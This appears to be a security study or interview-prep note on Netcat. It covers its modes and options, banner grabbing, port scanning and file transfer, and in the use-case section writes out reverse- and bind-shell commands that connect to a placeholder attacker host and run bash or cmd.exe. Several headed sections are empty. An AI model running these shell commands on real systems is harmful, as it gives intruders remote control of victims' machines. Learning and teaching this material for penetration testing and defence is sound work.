Netcat (nc)

Netcat (nc)

One-liner: A versatile networking utility for reading/writing data across TCP/UDP connectionsβ€”the "Swiss Army knife" of networking.

🎯 What Is It?

Netcat (or nc) is a command-line utility that reads and writes data across network connections using TCP or UDP. It can function as both a client and a server, making it invaluable for Banner Grabbing, file transfers, port scanning, and creating reverse shells.

πŸ€” Why It Matters

πŸ”¬ How It Works

Core Modes

Mode Description Example
Client Connect to listening port nc target 80
Server Listen for connections nc -lvnp 4444
# HTTP Banner
nc 10.10.10.1 80
GET / HTTP/1.1
Host: target
# Press Enter twice

# FTP Banner  
nc 10.10.10.1 21
# Server responds with version info

Key Options

Option Meaning
-l Listen mode (server)
-v Verbose output
-n No DNS resolution
-p Specify port
-e Execute program on connect
-u Use UDP instead of TCP
-w Timeout in seconds
-k Keep listening after disconnect

πŸ”¬ Common Use Cases

Reverse Shell (Attacker)

# Attacker listens
nc -lvnp 4444

# Victim connects back (Linux)
nc attacker_ip 4444 -e /bin/bash

# Victim connects back (Windows)
nc.exe attacker_ip 4444 -e cmd.exe

Bind Shell

# Victim listens
nc -lvnp 4444 -e /bin/bash

# Attacker connects
nc victim_ip 4444

File Transfer

# Receiver (listening)
nc -lvnp 4444 > received_file.txt

# Sender
nc target_ip 4444 < file_to_send.txt

Port Scanning

# Basic port scan
nc -zv target 20-25

# With timeout
nc -zvw1 target 80 443 8080

πŸ›‘οΈ Detection & Prevention

How to Detect

How to Prevent / Mitigate

🎀 Interview Angles

Common Questions

STAR Story

Situation: During a pentest, firewall blocked all inbound connections to compromised host.
Task: Establish persistent access despite inbound filtering.
Action: Used Netcat reverse shellβ€”victim connected outbound to my listener on port 443 (allowed for HTTPS).
Result: Maintained access through firewall; documented egress filtering gap for client.

βœ… Best Practices

❌ Common Misconceptions

πŸ“š References